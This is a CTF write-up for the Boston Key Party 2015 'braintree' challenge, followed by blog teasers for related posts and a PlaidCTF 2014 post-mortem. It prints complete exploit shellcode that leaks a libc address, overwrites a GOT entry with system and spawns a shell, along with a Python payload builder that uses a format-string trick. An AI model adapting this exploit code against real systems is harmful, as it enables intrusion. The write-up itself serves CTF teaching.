[bkpCTF-2015] braintree (tz) write-up

This is a write-up for braintree challenge, which is the last part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can read about the other parts here: quincy-center, quincy-adams. You can also read from the origial post.

The binaries were packaged into a tar ball.

The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t…
Exploit it. (tz flag) 8899

The goal is to get “tz” flag by exploiting the kernel space process.

If you haven’t read the previous write-up for quincy-adams, I strongly recommend you to read before continuing with this one as we will assume knowledge gained from it.


As it was mentioned previously, we will be using the same primitive: hypercall #92.

Therefore, we have an arbitrary-write-anywhere primitive. So, the question is “what can we overwrite in tz that will get us an arbitrary code execution?”

We started looking at each of the hypercall handlers in tz.

Then, we stumbled upon hypercall #85.

This function seemed like some sort of cleanup (we called it delete_op in our shellcode) function for an object used in tz. (As I said previously, we didn’t do much of reversing on tz as we did for uspace and kspace)

It seems like the first argument (v3) is a word that represents id of some sort, but the important thing is that we can control its value. v2 is an offset to the tz data structure, and the value at tz_space + v2 (where v2 is 0) is 0.

Since NX is enabled on tz, we decided to overwrite the GOT entry to execute system. Since the addresses are randomized, we first need to leak an address to calculate the address of system. We are going to abuse the hypercall #92 to do 3 things:

  • Leak out libc address, so we can calculate the address of system.
  • Overwrite free (.got.plt in tz) with &system.
  • Overwrite contents in v4 + 8 (aka, tz_space + 8) with a pointer to our command buffer.

However, doing all of these comes with a price. The size limit (256 bytes) starts to become an issue here. We can either put another stager in the middle to allow us more space, or optimize our payload such that it fits under 256 bytes! We chose to do latter :p


 1 [BITS 64]
 3 section .text
 4 global _start
 5 _start:
 7 ; yay we are in kernel!!!
 8 ; optimizing for size...
 9 mov ebp, 0x8
11 ; leak out &getpwnam
12 mov eax, 0x402380       ; do_encrypt
13 mov edi, 0x602290       ; src (getpwnam .got.plt in tz)
14 mov rsi, [rel dst]      ; dst (kernel_space + 128)
15 mov edx, ebp            ; size
16 call rax
18 call sleep
20 ; update the address (to be &system) and
21 ; xor the address back with the key
22 mov rcx, [rel dst]
23 mov rax, [rcx]
24 xor rax, [rel xor_key]
25 sub rax, 0x79340        ; &getpwnam - &system (this may be different depending on libc)
26 xor rax, [rel xor_key]
27 mov [rcx], rax
29 ; overwrite free GOT
30 mov eax, 0x402380       ; do_encrypt
31 mov rdi, [rel dst]      ; src (kernel_space + 128)
32 mov esi, 0x602230       ; dst (free .got.plt in tz)
33 mov edx, ebp            ; size
34 call rax
36 call sleep
38 mov rax, [rel command]  ; encrypt our command pointer
39 xor rax, [rel xor_key]
40 push rax
42 ; overwrite [fake_obj + 8] with cmd pointer
43 mov eax, 0x402380       ; do_encrypt
44 mov rdi, rsp
45 mov rsi, [rel fake]
46 mov edx, ebp            ; size
47 call rax
49 call sleep
51 ; setting command to 'sh'
52 mov rcx, [rel command]
53 mov dword [rcx], 0x6873
55 ; hypercall to trigger free
56 ; sem_lock
57 mov ebp, [0x60338C]     ; semaphore
58 mov edi, ebp
59 xor esi, esi
60 mov eax, 0x4015D0
61 call rax
63 xor rcx, rcx
64 mov rax, [0x603360]     ; kernel_space
65 mov dword [rax], 85     ; delete_op hypercall
66 mov [rax + 8], rcx      ; 0
67 lea rdx, [rax + 48]     ; rax + 48 points to args
68 mov [rax + 16], rdx
70 mov word [rax + 48], 0  ; id
72 ; sem_unlock
73 mov edi, ebp
74 xor esi, esi
75 mov eax, 0x401600
76 call rax
78 call sleep
80 sleep:
81 ; sleep(1)
82 mov eax, 0x400D00
83 xor edi, edi
84 inc edi
85 jmp rax
87 dst:
88 dq 0x900000080         ; scratch pad in kernel_space
89 fake:
90 dq 0x100000008         ; tz_space + 8
91 xor_key:
92 dq 0x7473656c72616863
93 command:
94 dq 0x900001000         ; we will put our command here

At first, we were over ~10 bytes, but once we have “optimized” a little bit, we finally got our payload to be 254 bytes!

Note that we are not using the same shell.asm as before (our new payload is now called shell.asm). However, we can continue to use the same stage1.asm and the python script from kspace exploit. For convenience sake, it is also attached here.


 1 #!/usr/bin/python
 2 import struct
 4 def p(v):
 5     return struct.pack('<Q', v)
 7 def u(v):
 8     return struct.unpack('<Q', v)[0]
10 f = open('payload', 'wb')
12 f.write('create lol\n'.ljust(0x400, '#'))
13 f.write(open('shell.bin').read().ljust(0x100, '\0'))
15 pop_pop_ret = 0x40110F
16 stage1 = open('stage1.bin').read()
18 f.write('create fmt\n'.ljust(0x400, '#'))
20 payload = '%280x' + p(pop_pop_ret)
21 f.write(payload.ljust(0x100, '\0'))
23 f.write(('cat fmt ' + stage1 + '\n').ljust(0x400, '#'))


$ nasm shell.asm -f bin -o shell.bin
$ ls -l shell.bin 
-rw-rw-r-- 1 user user 254 Mar 4 21:58 shell.bin
$ nasm stage1.asm -f bin -o stage1.bin
$ python pwn_tz.py
$ (cat ../tz/payload; cat -) | sudo ./tz
bksh> bksh> bksh>

We have abused the hypercall #92 (encrypt) to exploit both kspace and tz, but there may be another way to exploit kspace without going through the hypervisor.

Well, that’s it for the 3-parts pwnable challenge write-up =)

Thank you for reading, and happy hacking!


Write-up by Cai (Brian Pak) [https://www.bpak.org]

[bkpCTF-2015] quincy-adams (kspace) write-up

This is a write-up for quincy-adams challenge, which is the second part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can read about the other parts here: quincy-center, braintree. You can also read from the origial post.

[bkpCTF-2015] quincy-center (uspace) write-up

This is a write-up for quincy-center challenge, which is the first part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can read about the other parts here: quincy-adams, braintree. You can also read from the origial post.

PlaidCTF 2014 – Website post-mortem

First, we would like to thank everyone for participating in PlaidCTF 2014. Thanks to all of you, this year was bigger than ever with over 850 teams partcipating and 3 sponsors (THANK YOU!) providing $14K in cash prizes and covering all of our operating costs. Congratulations go out to 0xffa, Dragon Sector, and MoreSmokedLeetChicken for finishing in 1st, 2nd, and 3rd. We hope everyone had a lot of fun with the challenges and maybe learned a thing or two, as well.